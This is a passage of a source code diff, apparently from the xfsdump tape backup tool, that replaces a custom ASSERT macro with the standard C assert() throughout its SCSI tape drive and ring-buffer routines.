(MLOG_NITTY + 1) | MLOG_DRIVE, "ring op: reset\n" ); - ASSERT( ringp ); + assert( ringp ); ring_reset( ringp, msgp ); } @@ -3845,14 +3846,14 @@ display_ring_metrics( drive_t *drivep, intgen_t mlog_flags ) char *bufszsfxp; if ( tape_recsz == STAPE_MIN_MAX_BLKSZ ) { - ASSERT( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); + assert( ! ( STAPE_MIN_MAX_BLKSZ % 0x400 )); sprintf( bufszbuf, "%u", STAPE_MIN_MAX_BLKSZ / 0x400 ); - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); bufszsfxp = _("KB"); } else if ( tape_recsz == STAPE_MAX_RECSZ ) { - ASSERT( ! ( STAPE_MAX_RECSZ % 0x100000 )); + assert( ! ( STAPE_MAX_RECSZ % 0x100000 )); sprintf( bufszbuf, "%u", STAPE_MAX_RECSZ / 0x100000 ); - ASSERT( strlen( bufszbuf ) < sizeof( bufszbuf )); + assert( strlen( bufszbuf ) < sizeof( bufszbuf )); bufszsfxp = _("MB"); } else { sprintf( bufszbuf, "%u", (unsigned int)(tape_recsz / 0x400) ); diff --git a/common/drive_scsitape.c b/common/drive_scsitape.c index 0abb5d0..3f45d01 100644 --- a/common/drive_scsitape.c +++ b/common/drive_scsitape.c @@ -29,6 +29,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -551,11 +552,11 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) /* opportunity for sanity checking */ - ASSERT( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); - ASSERT( sizeof( rec_hdr_t ) + assert( sizeof( global_hdr_t ) <= STAPE_HDR_SZ ); + assert( sizeof( rec_hdr_t ) == sizeofmember( drive_hdr_t, dh_specific )); - ASSERT( ! ( STAPE_MAX_RECSZ % PGSZ )); + assert( ! ( STAPE_MAX_RECSZ % PGSZ )); /* hook up the drive ops */ @@ -564,7 +565,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) /* allocate context for the drive manager */ contextp = ( drive_context_t * )calloc( 1, sizeof( drive_context_t )); - ASSERT( contextp ); + assert( contextp ); memset( ( void * )contextp, 0, sizeof( *contextp )); /* do not enable a separate I/O thread, @@ -673,7 +674,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) */ if ( contextp->dc_singlethreadedpr ) { contextp->dc_bufp = ( char * )memalign( PGSZ, STAPE_MAX_RECSZ ); - ASSERT( contextp->dc_bufp ); + assert( contextp->dc_bufp ); } else { intgen_t rval; mlog( (MLOG_NITTY + 1) | MLOG_DRIVE, @@ -701,7 +702,7 @@ ds_instantiate( int argc, char *argv[], drive_t *drivep ) _("not allowed " "to pin down I/O buffer ring\n") ); } else { - ASSERT( 0 ); + assert( 0 ); } return BOOL_FALSE; } @@ -834,18 +835,18 @@ do_begin_read( drive_t *drivep ) /* verify protocol being followed */ - ASSERT( drivep->d_capabilities & DRIVE_CAP_READ ); - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( ! contextp->dc_recp ); + assert( drivep->d_capabilities & DRIVE_CAP_READ ); + assert( contextp->dc_mode == OM_NONE ); + assert( ! contextp->dc_recp ); /* get a record buffer to use during initialization. */ if ( contextp->dc_singlethreadedpr ) { contextp->dc_recp = contextp->dc_bufp; } else { - ASSERT( contextp->dc_ringp ); + assert( contextp->dc_ringp ); contextp->dc_msgp = Ring_get( contextp->dc_ringp ); - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); contextp->dc_recp = contextp->dc_msgp->rm_bufp; } @@ -855,7 +856,7 @@ do_begin_read( drive_t *drivep ) */ contextp->dc_iocnt = 0; if ( contextp->dc_fd < 0 ) { - ASSERT( contextp->dc_fd == -1 ); + assert( contextp->dc_fd == -1 ); rval = prepare_drive( drivep ); if ( rval ) { if ( ! contextp->dc_singlethreadedpr ) { @@ -876,7 +877,7 @@ do_begin_read( drive_t *drivep ) return rval; } } - ASSERT( contextp->dc_iocnt == 1 ); + assert( contextp->dc_iocnt == 1 ); /* set by prepare_drive or read_label */ /* all is well. adjust context. don't kick off read-aheads just yet; @@ -937,10 +938,10 @@ do_read( drive_t *drivep, /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( wantedcnt > 0 ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( wantedcnt > 0 ); /* clear the return status field */ @@ -966,7 +967,7 @@ do_read( drive_t *drivep, */ contextp->dc_ownedp = contextp->dc_nextp; contextp->dc_nextp += actualcnt; - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); + assert( contextp->dc_nextp <= contextp->dc_dataendp ); mlog( MLOG_NITTY | MLOG_DRIVE, "drive op read actual == %d (0x%x)\n", @@ -999,16 +1000,16 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( contextp->dc_ownedp ); - ASSERT( bufp == contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( contextp->dc_ownedp ); + assert( bufp == contextp->dc_ownedp ); /* calculate how much the caller owns */ - ASSERT( contextp->dc_nextp >= contextp->dc_ownedp ); + assert( contextp->dc_nextp >= contextp->dc_ownedp ); ownedcnt = ( size_t )( contextp->dc_nextp - contextp->dc_ownedp ); - ASSERT( ownedcnt == retcnt ); + assert( ownedcnt == retcnt ); /* take possession of buffer portion */ @@ -1018,7 +1019,7 @@ do_return_read_buf( drive_t *drivep, char *bufp, size_t retcnt ) * and (if ring in use) give buffer to ring for read-ahead. */ if ( contextp->dc_nextp >= contextp->dc_dataendp ) { - ASSERT( contextp->dc_nextp == contextp->dc_dataendp ); + assert( contextp->dc_nextp == contextp->dc_dataendp ); if ( ! contextp->dc_singlethreadedpr ) { contextp->dc_msgp->rm_op = RING_OP_READ; Ring_put( contextp->dc_ringp, contextp->dc_msgp ); @@ -1049,9 +1050,9 @@ do_get_mark( drive_t *drivep, drive_mark_t *markp ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); /* the mark is simply the offset into the media file of the * next byte to be read. @@ -1090,9 +1091,9 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); /* the desired mark is passed by reference, and is really just an @@ -1115,18 +1116,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); + assert( contextp->dc_nextp >= contextp->dc_recp ); recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( recoff <= tape_recsz ); - ASSERT( rechdrp->rec_used <= tape_recsz ); - ASSERT( recoff >= STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); - ASSERT( recoff <= rechdrp->rec_used ); + assert( recoff <= tape_recsz ); + assert( rechdrp->rec_used <= tape_recsz ); + assert( recoff >= STAPE_HDR_SZ ); + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); + assert( recoff <= rechdrp->rec_used ); currentoffset += ( off64_t )recoff; } - ASSERT( wantedoffset >= currentoffset ); + assert( wantedoffset >= currentoffset ); /* if we are currently holding a record and the desired offset * is not within the current record, eat the current record. @@ -1149,12 +1150,12 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) * must be just after it. */ if ( rechdrp->rec_used < tape_recsz ) { - ASSERT( wantedoffset == nextrecoffset ); + assert( wantedoffset == nextrecoffset ); } /* figure how much to ask for */ - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); + assert( contextp->dc_nextp >= contextp->dc_recp ); recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); @@ -1172,13 +1173,13 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( rval ) { return rval; } - ASSERT( actualcnt == wantedcnt ); + assert( actualcnt == wantedcnt ); do_return_read_buf( drivep, dummybufp, actualcnt ); currentoffset += ( off64_t )actualcnt; - ASSERT( currentoffset == nextrecoffset ); - ASSERT( wantedoffset >= currentoffset ); - ASSERT( ! contextp->dc_recp ); - ASSERT( currentoffset + assert( currentoffset == nextrecoffset ); + assert( wantedoffset >= currentoffset ); + assert( ! contextp->dc_recp ); + assert( currentoffset == contextp->dc_reccnt * ( off64_t )tape_recsz ); } @@ -1197,14 +1198,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) off64_t wantedreccnt; seekmode_t seekmode; - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); wantedreccnt = wantedoffset / ( off64_t )tape_recsz; if ( contextp->dc_singlethreadedpr ) { seekmode = SEEKMODE_RAW; } else { seekmode = SEEKMODE_BUF; } - ASSERT( wantedreccnt != 0 ); /* so NOP below can be + assert( wantedreccnt != 0 ); /* so NOP below can be * distinguished from use * in do_begin_read */ @@ -1214,7 +1215,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( seekmode == SEEKMODE_BUF ) { ring_stat_t rs; - ASSERT( ! contextp->dc_msgp ); + assert( ! contextp->dc_msgp ); contextp->dc_msgp = Ring_get( contextp->dc_ringp ); rs = contextp->dc_msgp->rm_stat; @@ -1227,7 +1228,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) rs != RING_STAT_INIT && rs != RING_STAT_NOPACK ) { - ASSERT( 0 ); + assert( 0 ); contextp->dc_errorpr = BOOL_TRUE; return DRIVE_ERROR_CORE; } @@ -1249,8 +1250,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) continue; } - ASSERT( contextp->dc_reccnt == contextp->dc_iocnt ); - ASSERT( wantedreccnt > contextp->dc_reccnt ); + assert( contextp->dc_reccnt == contextp->dc_iocnt ); + assert( wantedreccnt > contextp->dc_reccnt ); recskipcnt64 = wantedreccnt - contextp->dc_reccnt; recskipcnt64remaining = recskipcnt64; while ( recskipcnt64remaining ) { @@ -1258,14 +1259,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) intgen_t saved_errno; intgen_t rval; - ASSERT( recskipcnt64remaining > 0 ); + assert( recskipcnt64remaining > 0 ); if ( recskipcnt64remaining > INTGENMAX ) { recskipcnt = INTGENMAX; } else { recskipcnt = ( intgen_t ) recskipcnt64remaining; } - ASSERT( recskipcnt > 0 ); + assert( recskipcnt > 0 ); rval = mt_op( contextp->dc_fd, MTFSR, recskipcnt ); @@ -1287,8 +1288,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) currentoffset = contextp->dc_reccnt * ( off64_t )tape_recsz; - ASSERT( wantedoffset >= currentoffset ); - ASSERT( wantedoffset - currentoffset + assert( wantedoffset >= currentoffset ); + assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); } @@ -1303,7 +1304,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) size_t actualcnt; intgen_t rval; - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); /* figure how much to ask for. to eat an entire record, * ask for a record sans the header. do_read will eat @@ -1318,11 +1319,11 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( rval ) { return rval; } - ASSERT( actualcnt == wantedcnt ); + assert( actualcnt == wantedcnt ); do_return_read_buf( drivep, dummybufp, actualcnt ); - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); currentoffset += ( off64_t )tape_recsz; - ASSERT( currentoffset + assert( currentoffset == contextp->dc_reccnt * ( off64_t )tape_recsz ); } @@ -1335,8 +1336,8 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) char *dummybufp; size_t actualcnt; - ASSERT( wantedoffset > currentoffset ); - ASSERT( wantedoffset - currentoffset < ( off64_t )tape_recsz ); + assert( wantedoffset > currentoffset ); + assert( wantedoffset - currentoffset < ( off64_t )tape_recsz ); wantedcnt = ( size_t )( wantedoffset - currentoffset ); if ( contextp->dc_recp ) { u_int32_t recoff; @@ -1346,14 +1347,14 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( recoff <= tape_recsz ); - ASSERT( rechdrp->rec_used <= tape_recsz ); - ASSERT( recoff >= STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); - ASSERT( recoff <= rechdrp->rec_used ); - ASSERT( recoff + wantedcnt <= rechdrp->rec_used ); + assert( recoff <= tape_recsz ); + assert( rechdrp->rec_used <= tape_recsz ); + assert( recoff >= STAPE_HDR_SZ ); + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); + assert( recoff <= rechdrp->rec_used ); + assert( recoff + wantedcnt <= rechdrp->rec_used ); } else { - ASSERT( wantedcnt >= STAPE_HDR_SZ ); + assert( wantedcnt >= STAPE_HDR_SZ ); wantedcnt -= STAPE_HDR_SZ; } @@ -1366,7 +1367,7 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) if ( rval ) { return rval; } - ASSERT( actualcnt == wantedcnt ); + assert( actualcnt == wantedcnt ); do_return_read_buf( drivep, dummybufp, actualcnt ); } } @@ -1381,18 +1382,18 @@ do_seek_mark( drive_t *drivep, drive_mark_t *markp ) rec_hdr_t *rechdrp = ( rec_hdr_t * )contextp->dc_recp; #endif - ASSERT( contextp->dc_nextp >= contextp->dc_recp ); + assert( contextp->dc_nextp >= contextp->dc_recp ); recoff = ( u_int32_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( recoff <= tape_recsz ); - ASSERT( rechdrp->rec_used <= tape_recsz ); - ASSERT( recoff >= STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used >= STAPE_HDR_SZ ); - ASSERT( recoff <= rechdrp->rec_used ); + assert( recoff <= tape_recsz ); + assert( rechdrp->rec_used <= tape_recsz ); + assert( recoff >= STAPE_HDR_SZ ); + assert( rechdrp->rec_used >= STAPE_HDR_SZ ); + assert( recoff <= rechdrp->rec_used ); currentoffset += ( off64_t )recoff; } - ASSERT( wantedoffset == currentoffset ); + assert( wantedoffset == currentoffset ); return 0; } @@ -1425,9 +1426,9 @@ do_next_mark( drive_t *drivep ) /* assert protocol being followed. */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: next mark\n" ); @@ -1450,7 +1451,7 @@ noerrorsearch: } rechdrp = ( rec_hdr_t * )contextp->dc_recp; - ASSERT( rechdrp->first_mark_offset != 0 ); + assert( rechdrp->first_mark_offset != 0 ); if ( rechdrp->first_mark_offset > 0 ) { off64_t markoff = rechdrp->first_mark_offset - @@ -1458,8 +1459,8 @@ noerrorsearch: off64_t curoff = ( off64_t )( contextp->dc_nextp - contextp->dc_recp ); - ASSERT( markoff > 0 ); - ASSERT( curoff > 0 ); + assert( markoff > 0 ); + assert( curoff > 0 ); if ( markoff >= curoff ) { break; } @@ -1474,7 +1475,7 @@ noerrorsearch: contextp->dc_reccnt++; } - ASSERT( rechdrp->first_mark_offset - rechdrp->file_offset + assert( rechdrp->first_mark_offset - rechdrp->file_offset <= ( off64_t )tape_recsz ); contextp->dc_nextp = contextp->dc_recp @@ -1482,8 +1483,8 @@ noerrorsearch: ( size_t )( rechdrp->first_mark_offset - rechdrp->file_offset ); - ASSERT( contextp->dc_nextp <= contextp->dc_dataendp ); - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); + assert( contextp->dc_nextp <= contextp->dc_dataendp ); + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); if ( contextp->dc_nextp == contextp->dc_dataendp ) { if ( ! contextp->dc_singlethreadedpr ) { Ring_put( contextp->dc_ringp, @@ -1509,7 +1510,7 @@ resetring: contextp->dc_recp = contextp->dc_bufp; } else { contextp->dc_msgp = Ring_get( contextp->dc_ringp ); - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); contextp->dc_recp = contextp->dc_msgp->rm_bufp; } rechdrp = ( rec_hdr_t * )contextp->dc_recp; @@ -1561,7 +1562,7 @@ validateread: } if ( nread >= 0 ) { - ASSERT( ( size_t )nread <= tape_recsz ); + assert( ( size_t )nread <= tape_recsz ); mlog( MLOG_DEBUG | MLOG_DRIVE, "short read (nread == %d, record size == %d)\n", nread, @@ -1604,24 +1605,24 @@ validatehdr: goto readrecord; } - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); markoff = rechdrp->first_mark_offset - rechdrp->file_offset; - ASSERT( markoff >= ( off64_t )STAPE_HDR_SZ ); - ASSERT( markoff < ( off64_t )tape_recsz ); - ASSERT( rechdrp->rec_used > STAPE_HDR_SZ ); - ASSERT( rechdrp->rec_used < tape_recsz ); + assert( markoff >= ( off64_t )STAPE_HDR_SZ ); + assert( markoff < ( off64_t )tape_recsz ); + assert( rechdrp->rec_used > STAPE_HDR_SZ ); + assert( rechdrp->rec_used < tape_recsz ); goto alliswell; alliswell: contextp->dc_nextp = contextp->dc_recp + ( size_t )markoff; - ASSERT( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); + assert( ! ( rechdrp->file_offset % ( off64_t )tape_recsz )); contextp->dc_reccnt = rechdrp->file_offset / ( off64_t )tape_recsz; contextp->dc_iocnt = contextp->dc_reccnt + 1; contextp->dc_recendp = contextp->dc_recp + tape_recsz; contextp->dc_dataendp = contextp->dc_recp + rechdrp->rec_used; - ASSERT( contextp->dc_dataendp <= contextp->dc_recendp ); - ASSERT( contextp->dc_nextp < contextp->dc_dataendp ); + assert( contextp->dc_dataendp <= contextp->dc_recendp ); + assert( contextp->dc_nextp < contextp->dc_dataendp ); contextp->dc_errorpr = BOOL_FALSE; mlog( MLOG_NORMAL | MLOG_DRIVE, @@ -1696,8 +1697,8 @@ do_end_read( drive_t *drivep ) /* assert protocol being followed */ - ASSERT( contextp->dc_mode == OM_READ ); - ASSERT( ! contextp->dc_ownedp ); + assert( contextp->dc_mode == OM_READ ); + assert( ! contextp->dc_ownedp ); if ( ! contextp->dc_singlethreadedpr ) { Ring_reset( contextp->dc_ringp, contextp->dc_msgp ); @@ -1745,9 +1746,9 @@ do_begin_write( drive_t *drivep ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( ! drivep->d_markrecheadp ); - ASSERT( ! contextp->dc_recp ); + assert( contextp->dc_mode == OM_NONE ); + assert( ! drivep->d_markrecheadp ); + assert( ! contextp->dc_recp ); /* get pointers into global write header */ @@ -1758,7 +1759,7 @@ do_begin_write( drive_t *drivep ) /* must already be open. The only way to open is to do a begin_read. * so all interaction with scsi tape requires reading first. */ - ASSERT( contextp->dc_fd != -1 ); + assert( contextp->dc_fd != -1 ); /* get tape device status. verify tape is positioned */ @@ -1787,15 +1788,15 @@ do_begin_write( drive_t *drivep ) /* get a record buffer. will be used for the media file header, * and is needed to "prime the pump" for first call to do_write. */ - ASSERT( ! contextp->dc_recp ); + assert( ! contextp->dc_recp ); if ( contextp->dc_singlethreadedpr ) { - ASSERT( contextp->dc_bufp ); + assert( contextp->dc_bufp ); contextp->dc_recp = contextp->dc_bufp; } else { - ASSERT( contextp->dc_ringp ); - ASSERT( ! contextp->dc_msgp ); + assert( contextp->dc_ringp ); + assert( ! contextp->dc_msgp ); contextp->dc_msgp = Ring_get( contextp->dc_ringp ); - ASSERT( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); + assert( contextp->dc_msgp->rm_stat == RING_STAT_INIT ); contextp->dc_recp = contextp->dc_msgp->rm_bufp; } @@ -1840,7 +1841,7 @@ do_begin_write( drive_t *drivep ) /* prepare the drive context. must have a record buffer ready to * go, header initialized. */ - ASSERT( ! contextp->dc_ownedp ); + assert( ! contextp->dc_ownedp ); contextp->dc_reccnt = 1; /* count the header record */ contextp->dc_recendp = contextp->dc_recp + tape_recsz; contextp->dc_nextp = contextp->dc_recp + STAPE_HDR_SZ; @@ -1885,15 +1886,15 @@ do_set_mark( drive_t *drivep, /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); /* calculate and fill in the mark record offset */ - ASSERT( contextp->dc_recp ); + assert( contextp->dc_recp ); nextoff = contextp->dc_reccnt * ( off64_t )tape_recsz + ( off64_t )( contextp->dc_nextp - contextp->dc_recp ); @@ -1908,7 +1909,7 @@ do_set_mark( drive_t *drivep, */ rechdrp = ( rec_hdr_t * )contextp->dc_recp; if ( rechdrp->first_mark_offset == -1LL ) { - ASSERT( nextoff != -1LL ); + assert( nextoff != -1LL ); rechdrp->first_mark_offset = nextoff; } @@ -1921,7 +1922,7 @@ do_set_mark( drive_t *drivep, drivep->d_markrecheadp = markrecp; drivep->d_markrectailp = markrecp; } else { - ASSERT( drivep->d_markrectailp ); + assert( drivep->d_markrectailp ); drivep->d_markrectailp->dm_nextp = markrecp; drivep->d_markrectailp = markrecp; } @@ -1948,12 +1949,12 @@ do_get_write_buf( drive_t *drivep, size_t wantedcnt, size_t *actualcntp ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_recendp ); /* figure how much is available; supply the min of what is * available and what is wanted. @@ -2014,17 +2015,17 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp <= contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp <= contextp->dc_recendp ); /* verify the caller is returning exactly what is held */ - ASSERT( bufp == contextp->dc_ownedp ); - ASSERT( retcnt == heldcnt ); + assert( bufp == contextp->dc_ownedp ); + assert( retcnt == heldcnt ); /* take it back */ @@ -2065,7 +2066,7 @@ do_write( drive_t *drivep, char *bufp, size_t retcnt ) rval = contextp->dc_msgp->rm_rval; break; default: - ASSERT( 0 ); + assert( 0 ); return DRIVE_ERROR_CORE; } } @@ -2129,12 +2130,12 @@ do_get_align_cnt( drive_t * drivep ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_errorpr ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_errorpr ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp < contextp->dc_recendp ); /* calculate the next alignment point at or beyond the current nextp. * the following algorithm works because all buffers are page-aligned @@ -2144,11 +2145,11 @@ do_get_align_cnt( drive_t * drivep ) next_alignment_off += PGMASK; next_alignment_off &= ~PGMASK; next_alignment_point = ( char * )next_alignment_off; - ASSERT( next_alignment_point <= contextp->dc_recendp ); + assert( next_alignment_point <= contextp->dc_recendp ); /* return the number of bytes to the next alignment offset */ - ASSERT( next_alignment_point >= contextp->dc_nextp ); + assert( next_alignment_point >= contextp->dc_nextp ); return ( size_t )( next_alignment_point - contextp->dc_nextp ); } @@ -2175,12 +2176,12 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_WRITE ); - ASSERT( ! contextp->dc_ownedp ); - ASSERT( contextp->dc_recp ); - ASSERT( contextp->dc_nextp ); - ASSERT( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); - ASSERT( contextp->dc_nextp < contextp->dc_recendp ); + assert( contextp->dc_mode == OM_WRITE ); + assert( ! contextp->dc_ownedp ); + assert( contextp->dc_recp ); + assert( contextp->dc_nextp ); + assert( contextp->dc_nextp >= contextp->dc_recp + STAPE_HDR_SZ ); + assert( contextp->dc_nextp < contextp->dc_recendp ); /* pre-initialize return of count of bytes committed to media */ @@ -2222,7 +2223,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) contextp->dc_recp, BOOL_TRUE, BOOL_TRUE ); } else { - ASSERT( contextp->dc_msgp ); + assert( contextp->dc_msgp ); contextp->dc_msgp->rm_op = RING_OP_WRITE; contextp->dc_msgp->rm_user = contextp->dc_reccnt; Ring_put( contextp->dc_ringp, @@ -2238,7 +2239,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) rval = contextp->dc_msgp->rm_rval; break; default: - ASSERT( 0 ); + assert( 0 ); contextp->dc_recp = 0; return DRIVE_ERROR_CORE; } @@ -2265,7 +2266,7 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) } if ( ! contextp->dc_singlethreadedpr ) { while ( ! rval ) { - ASSERT( contextp->dc_msgp ); + assert( contextp->dc_msgp ); contextp->dc_msgp->rm_op = RING_OP_TRACE; Ring_put( contextp->dc_ringp, contextp->dc_msgp ); @@ -2277,14 +2278,14 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) switch( contextp->dc_msgp->rm_stat ) { case RING_STAT_OK: case RING_STAT_INIT: - ASSERT( rval == 0 ); + assert( rval == 0 ); break; case RING_STAT_ERROR: rval = contextp->dc_msgp->rm_rval; first_rec_w_err = contextp->dc_msgp->rm_user; break; default: - ASSERT( 0 ); + assert( 0 ); contextp->dc_recp = 0; return DRIVE_ERROR_CORE; } @@ -2346,11 +2347,11 @@ do_end_write( drive_t *drivep, off64_t *ncommittedp ) * to tape. */ if ( rval ) { - ASSERT( first_rec_w_err >= 0 ); + assert( first_rec_w_err >= 0 ); recs_wtn_wo_err = first_rec_w_err; recs_guaranteed = recs_wtn_wo_err - contextp->dc_lostrecmax; } else { - ASSERT( first_rec_w_err == -1 ); + assert( first_rec_w_err == -1 ); recs_wtn_wo_err = contextp->dc_iocnt; recs_guaranteed = recs_wtn_wo_err; } @@ -2382,14 +2383,14 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) /* verify protocol being followed */ - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_mode == OM_NONE ); mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: fsf: count %d\n", count ); - ASSERT( count ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( count ); + assert( contextp->dc_mode == OM_NONE ); /* get tape status */ @@ -2426,7 +2427,7 @@ do_fsf( drive_t *drivep, intgen_t count, intgen_t *statp ) _("advancing tape to next media file\n") ); op_failed = 0; - ASSERT( contextp->dc_fd >= 0 ); + assert( contextp->dc_fd >= 0 ); if ( mt_op( contextp->dc_fd, MTFSF, 1 ) ) { op_failed = 1; } @@ -2482,7 +2483,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) "drive op: bsf: count %d\n", count ); - ASSERT( contextp->dc_mode == OM_NONE ); + assert( contextp->dc_mode == OM_NONE ); *statp = 0; @@ -2515,7 +2516,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) *statp = DRIVE_ERROR_DEVICE; return 0; } - ASSERT( IS_BOT(mtstat )); + assert( IS_BOT(mtstat )); *statp = DRIVE_ERROR_BOM; @@ -2531,7 +2532,7 @@ do_bsf( drive_t *drivep, intgen_t count, intgen_t *statp ) /* back space - places us to left of previous file mark */ - ASSERT( drivep->d_capabilities & DRIVE_CAP_BSF ); + assert( drivep->d_capabilities & DRIVE_CAP_BSF ); mtstat = bsf_and_verify( drivep ); /* check again for beginning-of-tape condition @@ -2606,8 +2607,8 @@ do_rewind( drive_t *drivep ) mlog( MLOG_DEBUG | MLOG_DRIVE, "drive op: rewind\n" ); - ASSERT( contextp->dc_mode == OM_NONE ); - ASSERT( contextp->dc_fd >= 0 ); + assert( 